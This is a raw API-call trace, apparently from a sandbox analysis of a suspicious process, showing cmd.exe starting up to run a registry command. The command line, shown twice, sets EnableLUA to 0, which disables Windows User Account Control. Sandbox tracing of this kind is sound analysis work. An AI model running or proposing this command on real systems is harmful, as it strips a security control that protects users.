	[0230.702] VirtualQuery (in: lpAddress=0x88d752f9c4, lpBuffer=0x88d752f940, dwLength=0x30 | out: lpBuffer=0x88d752f940*(BaseAddress=0x88d752f000, AllocationBase=0x88d7430000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0230.703] VirtualQuery (in: lpAddress=0x88d7430000, lpBuffer=0x88d752f940, dwLength=0x30 | out: lpBuffer=0x88d752f940*(BaseAddress=0x88d7430000, AllocationBase=0x88d7430000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0230.703] VirtualQuery (in: lpAddress=0x88d7431000, lpBuffer=0x88d752f940, dwLength=0x30 | out: lpBuffer=0x88d752f940*(BaseAddress=0x88d7431000, AllocationBase=0x88d7430000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0230.703] VirtualQuery (in: lpAddress=0x88d7434000, lpBuffer=0x88d752f940, dwLength=0x30 | out: lpBuffer=0x88d752f940*(BaseAddress=0x88d7434000, AllocationBase=0x88d7430000, AllocationProtect=0x4, __alignment1=0xffffcd06, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0230.703] VirtualQuery (in: lpAddress=0x88d7530000, lpBuffer=0x88d752f940, dwLength=0x30 | out: lpBuffer=0x88d752f940*(BaseAddress=0x88d7530000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffcd06, RegionSize=0xd0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0230.703] GetConsoleOutputCP () returned 0x1b5
	[0230.841] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0230.841] SetConsoleCtrlHandler (HandlerRoutine=0x7ff68e908150, Add=1) returned 1
	[0230.841] _get_osfhandle (_FileHandle=1) returned 0x50
	[0230.841] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff68e91fc04 | out: lpMode=0x7ff68e91fc04) returned 1
	[0230.867] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0230.867] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff68e91fc00 | out: lpMode=0x7ff68e91fc00) returned 1
	[0230.880] _get_osfhandle (_FileHandle=1) returned 0x50
	[0230.880] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x0) returned 1
	[0230.882] _get_osfhandle (_FileHandle=1) returned 0x50
	[0230.883] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff68e91fc08 | out: lpMode=0x7ff68e91fc08) returned 1
	[0230.913] _get_osfhandle (_FileHandle=1) returned 0x50
	[0230.913] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1
	[0230.915] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0230.915] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff68e91fc0c | out: lpMode=0x7ff68e91fc0c) returned 1
	[0230.924] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0230.924] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1
	[0230.968] GetEnvironmentStringsW () returned 0x2109eb05b00*
	[0230.968] GetProcessHeap () returned 0x2109eb00000
	[0230.968] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xa7c) returned 0x2109eb06590
	[0230.968] FreeEnvironmentStringsA (penv="A") returned 1
	[0230.969] GetProcessHeap () returned 0x2109eb00000
	[0230.969] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x8) returned 0x2109eb05b00
	[0230.969] GetEnvironmentStringsW () returned 0x2109eb07020*
	[0230.969] GetProcessHeap () returned 0x2109eb00000
	[0230.969] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xa7c) returned 0x2109eb07ab0
	[0230.969] FreeEnvironmentStringsA (penv="A") returned 1
	[0230.969] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x88d752e888 | out: phkResult=0x88d752e888*=0x88) returned 0x0
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x0, lpData=0x88d752e8a0*=0x4, lpcbData=0x88d752e884*=0x1000) returned 0x2
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x1, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x0, lpData=0x88d752e8a0*=0x1, lpcbData=0x88d752e884*=0x1000) returned 0x2
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x0, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x40, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x40, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x0, lpData=0x88d752e8a0*=0x40, lpcbData=0x88d752e884*=0x1000) returned 0x2
	[0230.970] RegCloseKey (hKey=0x88) returned 0x0
	[0230.970] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x88d752e888 | out: phkResult=0x88d752e888*=0x88) returned 0x0
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x0, lpData=0x88d752e8a0*=0x40, lpcbData=0x88d752e884*=0x1000) returned 0x2
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x1, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.970] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x0, lpData=0x88d752e8a0*=0x1, lpcbData=0x88d752e884*=0x1000) returned 0x2
	[0230.971] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x0, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.971] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x9, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.971] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x4, lpData=0x88d752e8a0*=0x9, lpcbData=0x88d752e884*=0x4) returned 0x0
	[0230.971] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x88d752e880, lpData=0x88d752e8a0, lpcbData=0x88d752e884*=0x1000 | out: lpType=0x88d752e880*=0x0, lpData=0x88d752e8a0*=0x9, lpcbData=0x88d752e884*=0x1000) returned 0x2
	[0230.971] RegCloseKey (hKey=0x88) returned 0x0
	[0230.971] time (in: timer=0x0 | out: timer=0x0) returned 0x5fea102a
	[0230.971] srand (_Seed=0x5fea102a) 
	[0230.971] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	[0230.971] malloc (_Size=0x4000) returned 0x2109ed254f0
	[0230.972] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	[0230.972] malloc (_Size=0xffce) returned 0x2109ec00080
	[0230.973] ??_V@YAXPEAX@Z () returned 0x2109ec00080
	[0230.974] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2109ec00080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0230.974] malloc (_Size=0xffce) returned 0x2109ec10060
	[0230.975] ??_V@YAXPEAX@Z () returned 0x2109ec10060
	[0230.976] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2109ec10060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0230.976] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0230.976] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0230.976] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0230.977] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0230.977] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0230.978] GetProcessHeap () returned 0x2109eb00000
	[0230.978] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb06590) returned 1
	[0230.978] GetEnvironmentStringsW () returned 0x2109eb08fe0*
	[0230.978] GetProcessHeap () returned 0x2109eb00000
	[0230.978] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xa94) returned 0x2109eb05b50
	[0230.978] FreeEnvironmentStringsA (penv="A") returned 1
	[0230.978] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0230.978] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff68e91bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0230.978] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0230.978] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0230.978] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0230.978] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0230.978] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0230.978] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0230.978] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0230.978] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0230.979] malloc (_Size=0xffce) returned 0x2109ec20040
	[0230.979] ??_V@YAXPEAX@Z () returned 0x2109ec20040
	[0230.986] GetProcessHeap () returned 0x2109eb00000
	[0230.987] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x38) returned 0x2109eb00fc0
	[0230.987] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2109ec20040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0230.987] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2109ec20040, lpFilePart=0x88d752f400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x88d752f400*="system32") returned 0x13
	[0230.988] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0230.988] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x88d752f130 | out: lpFindFileData=0x88d752f130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x2109eb01000
	[0230.988] FindClose (in: hFindFile=0x2109eb01000 | out: hFindFile=0x2109eb01000) returned 1
	[0230.989] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x88d752f130 | out: lpFindFileData=0x88d752f130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc0b701ad, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xc0b701ad, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x2109eb01000
	[0230.989] FindClose (in: hFindFile=0x2109eb01000 | out: hFindFile=0x2109eb01000) returned 1
	[0230.989] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0230.989] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0230.989] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0230.989] GetProcessHeap () returned 0x2109eb00000
	[0230.989] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb05b50) returned 1
	[0230.989] GetEnvironmentStringsW () returned 0x2109eb05b50*
	[0230.989] GetProcessHeap () returned 0x2109eb00000
	[0230.990] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xac4) returned 0x2109eb06620
	[0230.990] FreeEnvironmentStringsA (penv="=") returned 1
	[0230.990] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2109ec00080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0230.990] GetProcessHeap () returned 0x2109eb00000
	[0230.990] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb00fc0) returned 1
	[0230.990] ??_V@YAXPEAX@Z () returned 0x1
	[0230.990] ??_V@YAXPEAX@Z () returned 0x1
	[0230.990] GetProcessHeap () returned 0x2109eb00000
	[0230.990] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x4016) returned 0x2109eb09ab0
	[0230.991] GetProcessHeap () returned 0x2109eb00000
	[0230.991] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xe6) returned 0x2109eb070f0
	[0230.991] GetProcessHeap () returned 0x2109eb00000
	[0230.991] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb09ab0) returned 1
	[0230.991] GetConsoleOutputCP () returned 0x1b5
	[0231.034] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff68e91fbb0 | out: lpCPInfo=0x7ff68e91fbb0) returned 1
	[0231.034] GetUserDefaultLCID () returned 0x409
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff68e91bb78, cchData=8 | out: lpLCData=":") returned 2
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x88d752f7c0, cchData=128 | out: lpLCData="0") returned 2
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x88d752f7c0, cchData=128 | out: lpLCData="0") returned 2
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x88d752f7c0, cchData=128 | out: lpLCData="1") returned 2
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff68e91bb68, cchData=8 | out: lpLCData="/") returned 2
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff68e91bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff68e91bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff68e91ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff68e91ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff68e91ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff68e91b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff68e91b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff68e91bb58, cchData=8 | out: lpLCData=".") returned 2
	[0231.035] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff68e91bb40, cchData=8 | out: lpLCData=",") returned 2
	[0231.036] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0231.037] GetProcessHeap () returned 0x2109eb00000
	[0231.037] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x0, Size=0x20c) returned 0x2109eb07250
	[0231.037] GetConsoleTitleW (in: lpConsoleTitle=0x2109eb07250, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0231.050] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff4f780000
	[0231.050] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CopyFileExW") returned 0x7fff4f79e830
	[0231.050] GetProcAddress (hModule=0x7fff4f780000, lpProcName="IsDebuggerPresent") returned 0x7fff4f79e300
	[0231.050] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetConsoleInputExeNameW") returned 0x7fff4c990a40
	[0231.050] ??_V@YAXPEAX@Z () returned 0x1
	[0231.052] GetProcessHeap () returned 0x2109eb00000
	[0231.052] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x4012) returned 0x2109eb09ab0
	[0231.052] GetProcessHeap () returned 0x2109eb00000
	[0231.052] RtlFreeHeap (HeapHandle=0x2109eb00000, Flags=0x0, BaseAddress=0x2109eb09ab0) returned 1
	[0231.053] _wcsicmp (_String1="reg", _String2=")") returned 73
	[0231.053] _wcsicmp (_String1="FOR", _String2="reg") returned -12
	[0231.053] _wcsicmp (_String1="FOR/?", _String2="reg") returned -12
	[0231.054] _wcsicmp (_String1="IF", _String2="reg") returned -9
	[0231.054] _wcsicmp (_String1="IF/?", _String2="reg") returned -9
	[0231.054] _wcsicmp (_String1="REM", _String2="reg") returned 6
	[0231.054] _wcsicmp (_String1="REM/?", _String2="reg") returned 6
	[0231.054] GetProcessHeap () returned 0x2109eb00000
	[0231.054] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xb0) returned 0x2109eb07470
	[0231.054] GetProcessHeap () returned 0x2109eb00000
	[0231.054] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0x18) returned 0x2109eb07530
	[0231.063] GetProcessHeap () returned 0x2109eb00000
	[0231.063] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xdc) returned 0x2109eb07550
	[0231.067] GetConsoleTitleW (in: lpConsoleTitle=0x88d752f6b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0231.080] malloc (_Size=0xffce) returned 0x2109ec10060
	[0231.081] ??_V@YAXPEAX@Z () returned 0x2109ec10060
	[0231.082] malloc (_Size=0xffce) returned 0x2109ec20040
	[0231.082] ??_V@YAXPEAX@Z () returned 0x2109ec20040
	[0231.083] _wcsicmp (_String1="reg", _String2="DIR") returned 14
	[0231.083] _wcsicmp (_String1="reg", _String2="ERASE") returned 13
	[0231.083] _wcsicmp (_String1="reg", _String2="DEL") returned 14
	[0231.083] _wcsicmp (_String1="reg", _String2="TYPE") returned -2
	[0231.084] _wcsicmp (_String1="reg", _String2="COPY") returned 15
	[0231.084] _wcsicmp (_String1="reg", _String2="CD") returned 15
	[0231.084] _wcsicmp (_String1="reg", _String2="CHDIR") returned 15
	[0231.084] _wcsicmp (_String1="reg", _String2="RENAME") returned -7
	[0231.084] _wcsicmp (_String1="reg", _String2="REN") returned -7
	[0231.084] _wcsicmp (_String1="reg", _String2="ECHO") returned 13
	[0231.084] _wcsicmp (_String1="reg", _String2="SET") returned -1
	[0231.084] _wcsicmp (_String1="reg", _String2="PAUSE") returned 2
	[0231.084] _wcsicmp (_String1="reg", _String2="DATE") returned 14
	[0231.084] _wcsicmp (_String1="reg", _String2="TIME") returned -2
	[0231.084] _wcsicmp (_String1="reg", _String2="PROMPT") returned 2
	[0231.085] _wcsicmp (_String1="reg", _String2="MD") returned 5
	[0231.085] _wcsicmp (_String1="reg", _String2="MKDIR") returned 5
	[0231.085] _wcsicmp (_String1="reg", _String2="RD") returned 1
	[0231.085] _wcsicmp (_String1="reg", _String2="RMDIR") returned -8
	[0231.085] _wcsicmp (_String1="reg", _String2="PATH") returned 2
	[0231.085] _wcsicmp (_String1="reg", _String2="GOTO") returned 11
	[0231.085] _wcsicmp (_String1="reg", _String2="SHIFT") returned -1
	[0231.085] _wcsicmp (_String1="reg", _String2="CLS") returned 15
	[0231.085] _wcsicmp (_String1="reg", _String2="CALL") returned 15
	[0231.085] _wcsicmp (_String1="reg", _String2="VERIFY") returned -4
	[0231.086] _wcsicmp (_String1="reg", _String2="VER") returned -4
	[0231.086] _wcsicmp (_String1="reg", _String2="VOL") returned -4
	[0231.086] _wcsicmp (_String1="reg", _String2="EXIT") returned 13
	[0231.086] _wcsicmp (_String1="reg", _String2="SETLOCAL") returned -1
	[0231.086] _wcsicmp (_String1="reg", _String2="ENDLOCAL") returned 13
	[0231.086] _wcsicmp (_String1="reg", _String2="TITLE") returned -2
	[0231.086] _wcsicmp (_String1="reg", _String2="START") returned -1
	[0231.086] _wcsicmp (_String1="reg", _String2="DPATH") returned 14
	[0231.086] _wcsicmp (_String1="reg", _String2="KEYS") returned 7
	[0231.086] _wcsicmp (_String1="reg", _String2="MOVE") returned 5
	[0231.086] _wcsicmp (_String1="reg", _String2="PUSHD") returned 2
	[0231.087] _wcsicmp (_String1="reg", _String2="POPD") returned 2
	[0231.087] _wcsicmp (_String1="reg", _String2="ASSOC") returned 17
	[0231.087] _wcsicmp (_String1="reg", _String2="FTYPE") returned 12
	[0231.087] _wcsicmp (_String1="reg", _String2="BREAK") returned 16
	[0231.087] _wcsicmp (_String1="reg", _String2="COLOR") returned 15
	[0231.087] _wcsicmp (_String1="reg", _String2="MKLINK") returned 5
	[0231.087] _wcsicmp (_String1="reg", _String2="DIR") returned 14
	[0231.087] _wcsicmp (_String1="reg", _String2="ERASE") returned 13
	[0231.087] _wcsicmp (_String1="reg", _String2="DEL") returned 14
	[0231.087] _wcsicmp (_String1="reg", _String2="TYPE") returned -2
	[0231.087] _wcsicmp (_String1="reg", _String2="COPY") returned 15
	[0231.088] _wcsicmp (_String1="reg", _String2="CD") returned 15
	[0231.088] _wcsicmp (_String1="reg", _String2="CHDIR") returned 15
	[0231.088] _wcsicmp (_String1="reg", _String2="RENAME") returned -7
	[0231.088] _wcsicmp (_String1="reg", _String2="REN") returned -7
	[0231.088] _wcsicmp (_String1="reg", _String2="ECHO") returned 13
	[0231.088] _wcsicmp (_String1="reg", _String2="SET") returned -1
	[0231.088] _wcsicmp (_String1="reg", _String2="PAUSE") returned 2
	[0231.088] _wcsicmp (_String1="reg", _String2="DATE") returned 14
	[0231.088] _wcsicmp (_String1="reg", _String2="TIME") returned -2
	[0231.088] _wcsicmp (_String1="reg", _String2="PROMPT") returned 2
	[0231.088] _wcsicmp (_String1="reg", _String2="MD") returned 5
	[0231.088] _wcsicmp (_String1="reg", _String2="MKDIR") returned 5
	[0231.119] _wcsicmp (_String1="reg", _String2="RD") returned 1
	[0231.119] _wcsicmp (_String1="reg", _String2="RMDIR") returned -8
	[0231.119] _wcsicmp (_String1="reg", _String2="PATH") returned 2
	[0231.119] _wcsicmp (_String1="reg", _String2="GOTO") returned 11
	[0231.119] _wcsicmp (_String1="reg", _String2="SHIFT") returned -1
	[0231.119] _wcsicmp (_String1="reg", _String2="CLS") returned 15
	[0231.119] _wcsicmp (_String1="reg", _String2="CALL") returned 15
	[0231.119] _wcsicmp (_String1="reg", _String2="VERIFY") returned -4
	[0231.119] _wcsicmp (_String1="reg", _String2="VER") returned -4
	[0231.119] _wcsicmp (_String1="reg", _String2="VOL") returned -4
	[0231.119] _wcsicmp (_String1="reg", _String2="EXIT") returned 13
	[0231.119] _wcsicmp (_String1="reg", _String2="SETLOCAL") returned -1
	[0231.119] _wcsicmp (_String1="reg", _String2="ENDLOCAL") returned 13
	[0231.119] _wcsicmp (_String1="reg", _String2="TITLE") returned -2
	[0231.119] _wcsicmp (_String1="reg", _String2="START") returned -1
	[0231.119] _wcsicmp (_String1="reg", _String2="DPATH") returned 14
	[0231.119] _wcsicmp (_String1="reg", _String2="KEYS") returned 7
	[0231.120] _wcsicmp (_String1="reg", _String2="MOVE") returned 5
	[0231.120] _wcsicmp (_String1="reg", _String2="PUSHD") returned 2
	[0231.120] _wcsicmp (_String1="reg", _String2="POPD") returned 2
	[0231.120] _wcsicmp (_String1="reg", _String2="ASSOC") returned 17
	[0231.120] _wcsicmp (_String1="reg", _String2="FTYPE") returned 12
	[0231.120] _wcsicmp (_String1="reg", _String2="BREAK") returned 16
	[0231.120] _wcsicmp (_String1="reg", _String2="COLOR") returned 15
	[0231.120] _wcsicmp (_String1="reg", _String2="MKLINK") returned 5
	[0231.120] _wcsicmp (_String1="reg", _String2="FOR") returned 12
	[0231.120] _wcsicmp (_String1="reg", _String2="IF") returned 9
	[0231.120] _wcsicmp (_String1="reg", _String2="REM") returned -6
	[0231.121] ??_V@YAXPEAX@Z () returned 0x1
	[0231.121] GetProcessHeap () returned 0x2109eb00000
	[0231.121] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xffde) returned 0x2109eb09ab0
	[0231.122] GetProcessHeap () returned 0x2109eb00000
	[0231.122] RtlAllocateHeap (HeapHandle=0x2109eb00000, Flags=0x8, Size=0xe4) returned 0x2109eb07640
